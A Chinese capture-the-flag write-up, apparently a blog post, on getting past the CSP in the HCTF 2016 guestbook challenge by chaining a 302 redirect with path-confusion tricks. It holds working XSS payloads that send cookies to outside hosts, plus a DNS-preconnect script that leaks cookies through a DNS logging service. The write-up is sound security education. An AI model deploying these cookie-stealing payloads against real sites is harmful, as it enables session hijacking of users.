zoukankan      html  css  js  c++  java
  • hctf2016_302跳转绕csp---总结

    页面目录如下:

    register.php注册页面。

    user.php可发送消息给其他用户。

    profile.php可配置参数添加用户头像(加载eval js文件)。

    static存在redirect.php重定向页面。

    看下csp规则:

    default-src 'self'; 
    script-src http://www.123.com/hctf2016_secret_area/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; 
    font-src http://www.123.com/hctf2016_secret_area/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline';
    img-src 'self'

    1、script没有开启unsafe-inline,也就是说不允许内联脚本(不能直接写js代码注入)
    2、script只允许static目录,但这个目录下内容不可控
    3、style-src开启了unsafe-inline而且是self
    4、default-src为self,也就是站内请求都是被许可的

    假如script开启了unsafe-inline的话,可以通过构造新开页面或者跳转来解决域限制,由于js可以任意构造,所以这里也就通过特别的方式绕过了原本的限制。这个题目就是hctf2016 guestbook的绕过csp思路

    <scrscriptipt>window.open("​http://xxxx:8080/cookie.asp?msg="+document.body​)</scrscriptipt>
    <scrscriptipt>window.locatioonn.href%3d"http%3a//www.example.com/xss/write.php%3fdomain%3d"%2bescape(document.cookie)%3b</sscriptcript>
    <scrscriptipt>var a=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();</sscriptcript>

    攻击目标获:取admin的cookie。

    攻击思路:defalt-src是self,1、表示即使拿到cookie也只能在域内传送,所以只能将cookie传回注册用户afanti.user.php存在常规xss但是unsafe-inline不能写入js代码。要是引入js代码,引入的目录在/hctf2016_secret_area/static/这里不可控没法传入js,/hctf2016_secret_area/upload/这个目录我们可控(通过上传头像写入代码),但是这个目录没有在script-src内,所以通过重定向绕过csp.到我们可控的目录/hctf2016_secret_area/upload/

    2、可以拿到cookie向域外传送:因为/hctf2016_secret_area/upload/可控,在上传头像中写入打开新页面来传递cookie.

    3、<script src="http://www.123.com/hctf2016_secret_area/static/..%2f..%2fupload/76eb335a573b564c6a02d2debda70402"></script>类似rpo绕过csp.

    主要利用浏览器和服务器解析不一致绕过csp,浏览器会加载static下的..%2f..%2fupload/76eb335a573b564c6a02d2debda70402文件,这是没有跨域的。但是服务器会把%2f解析,跳俩个目录返回http://www.123.com/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402导致绕过csp,/upload我们上传内容可控。

    攻击流程:

    1.注册afanti用户并上传头像,攻击代码会将admin的cookie发送到afanti用户下

    说下把script标签去掉,截图中没去,要不会报错

    2、给admin发送如下消息

    <scscriptript src="http://www.123.com/hctf2016_secret_area/static/redirect.php?u=/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402"></scriscriptpt>

    3.当admin用户访问时,加载js的时候,会通过redirect.php页面加载 /hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402这个js文件。

    将admin的cookie发送给afanti用户。

    4.afanti用户访问得到admin 的cookie

    4.只是将上传头像内容改一下,把cookie传到外域测试。当管理员打开页面时,会打开新的页面并把cookie带出来。

     

    测试:xhr设置到域外被default-src拦截。

    link的prefetch被chrome的default-src被拦截:

    link的preload也遵循csp规则,当as属性设置为image时,被csp的image-src拦截,假如设置的属性可以传递到外域,eg:img-src:*,就可以传递到外域了:

    link的prerender在chrome通过测试,但是很迷触发方式不太清楚:

    link中的preconnect(dns通道)最好用,可以chrome和firefox都能绕csp:

    dc = document.cookie;
    dcl = dc.split(";"); n0 = document.getElementsByTagName("HEAD")[0]; for (var i=0; i<dcl.length;i++) { console.log(dcl[i]); n0.innerHTML = n0.innerHTML + "<link rel="preconnect" href="//" + escape(dcl[i].replace(///g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".on1sw1.ceye.io">"; console.log(n0.innerHTML); }

    打到如下cookie:

    cookie格式:

    admin=hctf2o16com30nag0gog0; path=/
    PHPSESSID=fu6p3nm7fsdjo31vien84n3pr3; path=/
    
    dnslog上的cookie: _20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io _20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io
     

    最后,不是所有的页面都能够被预加载,当资源类型如下时:

    URL中包含下载资源
    页面中包含音频、视频
    POST、PUT和DELET操作的ajax请求
    HTTP认证
    HTTPS页面
    含恶意软件的页面
    弹窗页面
    占用资源很多的页面
    打开了chrome developer tools开发工具

    总结:

    通过302跳转绕过js,跳到我们可控的目录来执行js。

    1、有跳转目录(登录界面)

    2、存在xss

    3、可控目录我们可以上传图像等文件

    ---------------------------------------------------------------------------------------

    如果没有unsafe-inline的助攻,而且都是self的话,这样也只能寻求站内的上传点。

    以下不算是绕过csp,属于绕过上传的内容检测

    1、上传的swf内容

    1.CWS
    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true); 
    xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xml.send('cookie='+document.cookie); </script>
    <link rel='import' href='/upload/1.cws'>

    2、上传jpeg带有js的jpg图片。

    https://lorexxar.cn/2016/12/07/polyglot-JPEGs-bypass-csp/

    3、上传gif或者音频文件webp

    https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

    其他类型的以后在总结。

    参考文章:

    https://lorexxar.cn/2016/11/30/hctf2016-xss/

    https://lorexxar.cn/2016/10/31/csp-then2/

    http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

  • 相关阅读:
    UVA 254 Towers of Hanoi
    UVA 701 The Archeologists' Dilemma
    UVA 185 Roman Numerals
    UVA 10994 Simple Addition
    UVA 10570 Meeting with Aliens
    UVA 306 Cipher
    UVA 10160 Servicing Stations
    UVA 317 Hexagon
    UVA 10123 No Tipping
    UVA 696 How Many Knights
  • 原文地址:https://www.cnblogs.com/afanti/p/9245706.html
Copyright © 2011-2022 走看看